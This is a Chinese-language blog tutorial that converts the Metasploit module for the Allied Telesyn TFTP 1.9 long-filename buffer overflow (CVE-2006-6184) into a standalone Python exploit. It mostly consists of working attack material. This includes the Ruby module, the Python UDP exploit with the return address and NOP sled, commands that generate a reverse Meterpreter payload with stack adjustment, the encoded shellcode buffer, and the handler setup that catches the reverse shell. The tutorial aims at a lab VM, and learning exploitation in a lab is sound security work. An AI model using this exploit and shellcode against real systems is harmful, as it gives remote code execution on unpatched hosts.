?

Oct 13 2017

使用python重寫metasploit的exploit

首頁 » 滲透測試 » 使用python重寫metasploit的exploit   

使用python重寫metasploit的exploit

序言

有時你可能想要一個獨立的exploit,但唯一的選擇是Metasploit模塊。當然你可以隨時啟動Metasploit并使用它。但是除了解在Metasploit下面使用exploit以外,我們還可以很方便地了解如何處理自己的漏洞利用,并在將來甚至編寫自己的Metasploit模塊,并為這個美好的的項目做出貢獻。

要求

* Windows XP - SP3虛擬機(受害者)。
* Kali Linux虛擬機(Attacker)。
* Allied Telesyn TFTP Server 1.9

備注
ftp 服務器的下載地址如下:

http://netsec.ws/wp-content/downloads/at-tftpd19.exe

目標

我們將調整位于/usr/share/metasploit-framework/modules/exploits/windows/tftp/attftp_long_filename.rb的attftp_long_filename.rb模塊,并將其更改為我們自己獨立的Python exploit。我絕對不是一個經驗豐富的開發者,所以我只能想到這樣的方式來實現這一個簡單的功能,可能會有更多的最佳方法來做到這一步。
模塊是attftp_long_filename.rb

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Udp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Allied Telesyn TFTP Server 1.9 Long Filename Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in AT-TFTP v1.9, by sending a
        request (get/write) for an overly long file name.
      },
      'Author'         => [ 'patrick' ],
      'References'     =>
        [
          ['CVE', '2006-6184'],
          ['OSVDB', '11350'],
          ['BID', '21320'],
          ['EDB', '2887'],
          ['URL', 'ftp://guest:[email protected]/pub/utilities/at-tftpd19.zip'],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'    => 210,
          'BadChars' => "\x00",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
        # Patrick - Tested OK w2k sp0, sp4, xp sp 0, xp sp2 - en 2007/08/24
          [ 'Windows NT SP4 English',   { 'Ret' => 0x702ea6f7 } ],
          [ 'Windows 2000 SP0 English', { 'Ret' => 0x750362c3 } ],
          [ 'Windows 2000 SP1 English', { 'Ret' => 0x75031d85 } ],
          [ 'Windows 2000 SP2 English', { 'Ret' => 0x7503431b } ],
          [ 'Windows 2000 SP3 English', { 'Ret' => 0x74fe1c5a } ],
          [ 'Windows 2000 SP4 English', { 'Ret' => 0x75031dce } ],
          [ 'Windows XP SP0/1 English', { 'Ret' => 0x71ab7bfb } ],
          [ 'Windows XP SP2 English',   { 'Ret' => 0x71ab9372 } ],
          [ 'Windows XP SP3 English',   { 'Ret' => 0x7e429353 } ], ------ ret by c0re
          [ 'Windows Server 2003',      { 'Ret' => 0x7c86fed3 } ], ------ ret donated by securityxxxpert
          [ 'Windows Server 2003 SP2',  { 'Ret' => 0x7c86a01b } ], ------ ret donated by Polar Bear
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Nov 27 2006'))

    register_options(
      [
        Opt::RPORT(69),
        Opt::LHOST() # Required for stack offset
      ], self.class)
  end

  def exploit
    connect_udp

    sploit = "\x00\x02" + make_nops(25 - datastore['LHOST'].length)
    sploit << payload.encoded
    sploit << [target['Ret']].pack('V')     # <-- eip = jmp esp. we control it.
    sploit << "\x83\xc4\x28\xc3"         # <-- esp = add esp 0x28 + retn
    sploit << "\x00" + "netascii" + "\x00"

    udp_sock.put(sploit)

    disconnect_udp
  end

end

關鍵點

讓我們來看看模塊的一些關鍵點,然后嘗試一下,了解一下。我們只針對漏洞利用產生影響的部分進行檢查。

默認退出選項

'DefaultOptions'  => 
        { 
          'EXITFUNC'  =>  'process',
         },

如上所述,默認退出函數是’process’。這是shellcode在運行后退出的方法,通常會在我們發送我們的漏洞后對攻擊程序的穩定性產生影響。當我們改變shellcode以適應我們的特殊情況時,應該注意這個值。

有效載荷

'Payload'         => 
        { 
          'Space'     =>  210,
           'BadChars'  =>  “ \ x 00”,
           'StackAdjustment'  =>  - 3500,
         },

有效載荷是我們需要檢查的關鍵方面之一。這表示我們有210字節的空間用于我們的有效載荷駐留。任何較大的,我們可能會遇到各種截斷我們的漏洞利用的問題。壞字符表示可能影響我們漏洞利用的字節。我們需要確保這些字符都不在我們的shellcode中,在這種情況下,它幾乎是普遍不好的空字符’0x00’。有關壞字符的更多信息,請搜索本網站以編寫基本緩沖區溢出。最后我們看到一些叫做堆棧調整的東西。基本上是因為我們在使用中受到限制,我們需要使用一種稱為分段有效載荷的東西。我們正在做的只是發送一個小的第一條指令,其設計用于連接到我們并獲得主要有效載荷。

目標系統

'Targets'        =>
        [
        ---- Patrick - Tested OK w2k sp0, sp4, xp sp 0, xp sp2 - en 2007/08/24
          [ 'Windows NT SP4 English',   { 'Ret' => 0x702ea6f7 } ],
          [ 'Windows 2000 SP0 English', { 'Ret' => 0x750362c3 } ],
          [ 'Windows 2000 SP1 English', { 'Ret' => 0x75031d85 } ],
          [ 'Windows 2000 SP2 English', { 'Ret' => 0x7503431b } ],
          [ 'Windows 2000 SP3 English', { 'Ret' => 0x74fe1c5a } ],
          [ 'Windows 2000 SP4 English', { 'Ret' => 0x75031dce } ],
          [ 'Windows XP SP0/1 English', { 'Ret' => 0x71ab7bfb } ],
          [ 'Windows XP SP2 English',   { 'Ret' => 0x71ab9372 } ],
          [ 'Windows XP SP3 English',   { 'Ret' => 0x7e429353 } ], ---- ret by c0re
          [ 'Windows Server 2003',      { 'Ret' => 0x7c86fed3 } ], ---- ret donated by securityxxxpert
          [ 'Windows Server 2003 SP2',  { 'Ret' => 0x7c86a01b } ], ---- ret donated by Polar Bear

Metasploit對于許多漏洞利用具有廣泛的目標,對于每個操作系統來說,這些目標主要是各種適用的返回地址。因為他們經常使用系統DLL,這些地址不會從計算機更改為計算機,并確保漏洞兼容性。在我們的例子中,我們希望使用c0re,Windows XP SP3提供的返回地址。

漏洞利用

 def exploit
    connect_udp

    sploit = "\x00\x02" + make_nops(25 - datastore['LHOST'].length)
    sploit << payload.encoded
    sploit << [target['Ret']].pack('V')     # <-- eip = jmp esp. we control it.
    sploit << "\x83\xc4\x28\xc3"         # <-- esp = add esp 0x28 + retn
    sploit << "\x00" + "netascii" + "\x00"

    udp_sock.put(sploit)

    disconnect_udp
  end

所有其他的主要部分,一直是導致利用本身的。讓我們一起去認真看看,以確保我們了解它。

connect_udp

這意味著漏洞將通過UDP數據包發送。此線路連接將目標值設置為Metasploit中的值,如RHOST和RPORT。

sploit = "\x00\x02" + make_nops(25 - datastore['LHOST'].length)

漏洞利用兩個十六進制值“0x00”和“0x02”開始,后跟一系列NOP。根據LAN IP的長度,nops組件的長度可變,但總共總共為25。作為示例,“192.168.1.2”的LHOST值的長度為11,而IP地址為“192.168.100.123”的長度為15.如果要使用此功能彈出IRB(Interactive Ruby Shell)并分配一個變量,如LHOST =’192.168.1.50’。然后命令LHOST.length會告訴你長度值 - 或者只是計算包含句點的字符數。

sploit << payload.encoded

該行編碼Metasploit中指定的有效載荷,并以所需格式進行編碼。Metasploit將根據可用空間和目標操作系統在內部確定哪些有效負載是合適的,并且可以使用“顯示有效載荷”命令查看它們。當我們說“必需格式”時,這意味著它將在漏洞中提前排除指定的不能使用的。

sploit << [target['Ret']].pack('V')

此命令將目標返回地址附加到exploit字符串中。由于在Metasploit中您可以提名不同的操作系統,因此在此可以顯示為變量,但為了我們的目的,它只是Windows XP SP3的返回地址。包“V”命令表示需要以小的字節格式打包,這對x86處理器是必需的。

sploit << "\x83\xc4\x28\xc3"

翻譯成命令,這是指示esp寄存器添加40個字節并返回。有必要對我們的漏洞進行正確的定位。

sploit << "\x00" + "netascii" + "\x00"

我們的漏洞利用的最后一個字符串,它以AT-TFTP期待的格式終止數據流。

udp_sock.put(sploit)

這指示Metasploit通過UDP發送漏洞。

disconnect_udp

斷開鏈接,但這表示它已經完成了UDP套接字請求。

對應操作系統

我們總結一下我們在自己的漏洞中所需要實現的工作,以便在上述突出的領域得到工作。

*     根據LHOST的大小創建一個適當大小的NOP堆棧
*     找到返回地址,并以小尾數格式打包
*     生成適合我們情況的shellcode(LHOST等)
*     在shellcode上執行堆棧調整,所以我們的第二個階段可以正確寫入
*     通過UDP發送漏洞利用Python

關于這些具有挑戰性的唯一的一步是這個堆棧調整業務,但是真的像所有的事情一樣容易得多。

我們從一個非常簡單的UDP框架開始,將信息發送到目標。

import sys, socket

---- Use in the form "python attftp_long_filename.py <IP Address> <Port> <Your IP Address>"

host = sys.argv[1]        ---- Recieve IP from user
port = int(sys.argv[2])        ---- Recieve Port from user

exploit = ""            ---- Out future exploit location

client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)    ---- Declare a UDP socket
client.sendto(exploit, (host, port))                ---- Send the exploit over UDP to the nominated addresses

現在從這里開始,很多信息都將是從這里開始研究的。這包括創建適當大小的NOP和返回地址,以及我們將會發送的信息來設置漏洞本身。我們將其納入我們的框架

import sys, socket

---- Use in the form "python attftp_long_filename.py <Target IP Address> <Port> <Your IP Address>"

host = sys.argv[1]        ---- Recieve IP from user
lhost = sys.argv[3]
port = int(sys.argv[2])        ---- Recieve Port from user

ret = "\x53\x93\x42\x7e"     ---- Return address - Source Metasploit (Little Endian)
nop = "\x90" * (25-len(lhost))    ----- Create a NOP string as to bring NOPs + LHOST up to 25 bytes
payload = ""             ---- Payload to be calculated

exploit = "\x00\x02" + nop + payload + ret + "\x83\xc4\x28\xc3\x00netascii\x00"     ---- Our exploit so far

client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)    ----- Declare a UDP socket
client.sendto(exploit, (host, port))

現在我們已經知道我們需要采取下一步的因素,并考慮到我們的有效載荷的堆棧調整。

堆棧調整

首先,我們需要將我們的有效負載轉儲到一個原始的十六進制文件中以進一步操作。在這種情況下,我們的有效負載將是更小 reverse_nonx_tcp模塊,因為它特別小的代碼占用。我們使用命令,

msfpayload windows/meterpreter/reverse_nonx_tcp LHOST=192.168.1.2 LPORT=443 R > payload

如果我們希望確認已成功輸出到該文件,我們可以使用該命令

hexdump -C payload

00000000  fc 6a eb 47 e8 f9 ff ff  ff 60 31 db 8b 7d 3c 8b  |.j.G.....`1..}<.|
00000010  7c 3d 78 01 ef 8b 57 20  01 ea 8b 34 9a 01 ee 31  ||=x...W ...4...1|
00000020  c0 99 ac c1 ca 0d 01 c2  84 c0 75 f6 43 66 39 ca  |..........u.Cf9.|
00000030  75 e3 4b 8b 4f 24 01 e9  66 8b 1c 59 8b 4f 1c 01  |u.K.O$..f..Y.O..|
00000040  e9 03 2c 99 89 6c 24 1c  61 ff e0 31 db 64 8b 43  |..,..l$.a..1.d.C|
00000050  30 8b 40 0c 8b 70 1c ad  8b 68 08 5e 66 53 66 68  |[email protected]^fSfh|
00000060  33 32 68 77 73 32 5f 54  66 b9 72 60 ff d6 95 53  |32hws2_Tf.r`...S|
00000070  53 53 53 43 53 43 53 89  e7 66 81 ef 08 02 57 53  |SSSCSCS..f....WS|
00000080  66 b9 e7 df ff d6 66 b9  a8 6f ff d6 97 68 c0 a8  |f.....f..o...h..|
00000090  01 02 66 68 01 bb 66 53  89 e3 6a 10 53 57 66 b9  |..fh..fS..j.SWf.|
000000a0  57 05 ff d6 50 b4 0c 50  53 57 53 66 b9 c0 38 ff  |W...P..PSWSf..8.|
000000b0  e6                                                |.|
000000b1

當將文件與編碼調整版本進行比較時,這也將派上用場。接下來,我們需要找出我們實際需要使用什么命令調整堆棧-3500字節。這可以使用Metasploit工具nasm_shell.rb,位于這里/usr/share/metasploit-framework/tools/nasm_shell.rb。裝入命令將給你該命令的hex機器指令。由于我們要從堆棧指針中減去3500(十六進制0xDAC),所以我們執行以下操作,

ruby /usr/share/metasploit-framework/tools/nasm_shell.rb
nasm > sub esp, 0xDAC
00000000  81ECAC0D0000      sub esp,0xdac

這告訴我們,我們需要使用命令81EC AC0D 0000來實現將堆棧調整為3500.我們將其輸出為原始十六進制文件。你可以這樣做,如使用十六進制編輯器,但是perl可以很簡單的輸出,一行示例如下,

perl -e 'print "\x81\xec\xac\x0d\x00\x00"' > stackadj

為了確認我們現在有了正確格式的文件,我們再次使用hexdump進行檢查,并將其與之前的轉儲進行比較。

hexdump -C shellcode
00000000  81 ec ac 0d 00 00 fc 6a  eb 47 e8 f9 ff ff ff 60  |.......j.G.....`|
00000010  31 db 8b 7d 3c 8b 7c 3d  78 01 ef 8b 57 20 01 ea  |1..}<.|=x...W ..|
00000020  8b 34 9a 01 ee 31 c0 99  ac c1 ca 0d 01 c2 84 c0  |.4...1..........|
00000030  75 f6 43 66 39 ca 75 e3  4b 8b 4f 24 01 e9 66 8b  |u.Cf9.u.K.O$..f.|
00000040  1c 59 8b 4f 1c 01 e9 03  2c 99 89 6c 24 1c 61 ff  |.Y.O....,..l$.a.|
00000050  e0 31 db 64 8b 43 30 8b  40 0c 8b 70 1c ad 8b 68  |[email protected]|
00000060  08 5e 66 53 66 68 33 32  68 77 73 32 5f 54 66 b9  |.^fSfh32hws2_Tf.|
00000070  72 60 ff d6 95 53 53 53  53 43 53 43 53 89 e7 66  |r`...SSSSCSCS..f|
00000080  81 ef 08 02 57 53 66 b9  e7 df ff d6 66 b9 a8 6f  |....WSf.....f..o|
00000090  ff d6 97 68 c0 a8 01 02  66 68 01 bb 66 53 89 e3  |...h....fh..fS..|
000000a0  6a 10 53 57 66 b9 57 05  ff d6 50 b4 0c 50 53 57  |j.SWf.W...P..PSW|
000000b0  53 66 b9 c0 38 ff e6                              |Sf..8..|
000000b7

它與我們以前的有效載荷完全相同,但堆棧調整已經在開發階段發生。我們現在已經完成了,但是我們有一個最后一步我們需要做的shellcode。

編碼Shellcode

在我們的堆棧調整命令和有效負載本身都有空字符,我們需要刪除。Msfencode再次來到我們的救援中,我們可以重新編碼有效載荷,無空值。

cat shellcode | msfencode -b '\x00' -e x86/shikata_ga_nai -t python
[*] x86/shikata_ga_nai succeeded with size 210 (iteration=1)

buf =  ""
buf += "\xbb\xd2\x8c\x3a\x78\xdb\xd2\xd9\x74\x24\xf4\x58\x31"
buf += "\xc9\xb1\x2e\x31\x58\x15\x03\x58\x15\x83\xc0\x04\xe2"
buf += "\x27\x0d\xd6\xd4\xca\x0e\x27\xd9\xbe\xe5\x60\xc9\xc7"
buf += "\x05\x91\xf6\x57\xcb\xb5\x82\xea\x17\xc1\xe9\x29\x10"
buf += "\xd4\xfe\xda\xb7\xf6\x01\x36\xbc\xc3\x9b\xc7\x2d\x1a"
buf += "\x5c\x5e\x1d\x9c\x96\x6d\x5f\xdd\xa3\xad\x2a\x17\xe8"
buf += "\x4b\xec\x1d\x9a\x70\x45\x29\x2a\x52\x5b\xc4\xd3\x11"
buf += "\x47\x4f\x97\x6a\x64\x6e\x4e\x77\xb8\xe9\x19\x1b\xe4"
buf += "\x15\x7b\x1c\x04\x14\xa0\x86\x4e\x14\x66\xcd\x11\x97"
buf += "\x0d\xa1\x8d\x0a\x9a\x29\xa6\x0a\xfb\xfa\xd0\xda\x30"
buf += "\xce\x74\x6c\x44\x1c\xda\xc6\xcc\xd9\x96\x86\xef\xcf"
buf += "\xc2\x14\x43\xbc\xbf\xd9\x30\x01\x13\x57\x51\xe3\x12"
buf += "\x88\x96\xe9\x43\x04\xc1\x54\x8c\x75\xf2\x70\x35\x33"
buf += "\xa5\x13\x45\x95\x21\x83\x79\xb2\x4f\x51\x1c\xab\x4e"
buf += "\xee\x86\x78\xd8\xf3\x2d\x6f\x89\xa4\xd7\x36\x7a\x4f"
buf += "\xe7\x9f\xd5\xfb\x1b\x70\x85\x54\x77\x16\x90\x9a\x4f"
buf += "\x29\x04"

我們現在可以將這個shellcode剪切并粘貼到我們的python exploit中。最后的漏洞看起來如下。

最終利用

我們來看看我們的Windows XP受害者。在鏈接中安裝AT-TFTP v1.9的要求。確保您解除阻止任何防火墻提示以允許訪問。因為這是一個分期的有效載荷,我們需要設置Metasploit來捕獲傳入的shell。然后它會發送第二個更大的緩沖區(769536字節),我們永遠不會適合我們的漏洞利用本身。依次運行命令,

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_nonx_tcp
set LHOST <Your IP Address>
set LPORT 443
exploit

現在有趣的東西,我們運行命令,

python attftp_long_filename.py 192.168.1.104 69 192.168.1.2

不用說你應該把自己的IP值,但它應該保持格式python

一切順利,這是結果…

微信圖片_20171013182143.jpg

總結

文章寫道這里就結束,但是面對metasploit豐富的資源。戰斗才剛剛開始,讓我們在不斷的學習中進步,讓我們在不斷的進步中實戰。實戰決定了我們能夠走的有多遠,如果你也想跟小編一起學習進步,就趕緊掃下面的二維碼,關注我們吧。


正文部分到此結束

文章標簽:這篇文章木有標簽

版權聲明:若無特殊注明,本文皆為( mOon )原創,轉載請保留文章出處。

也許喜歡: «神奇的Content-Type——在JSON中玩轉XXE攻擊 | 海洋CMS(SEACMS)新版本V6.55補丁仍可被繞過執行任意代碼»

你腫么看?

你還可以輸入 250/250 個字

? 微笑 大笑 拽 大哭 親親 流汗 噴血 奸笑 囧 不爽 暈 示愛 害羞 吃驚 驚嘆 愛你 嚇死了 呵呵

評論信息框

這篇文章還沒有收到評論,趕緊來搶沙發吧~

?
?
河北11选5开奖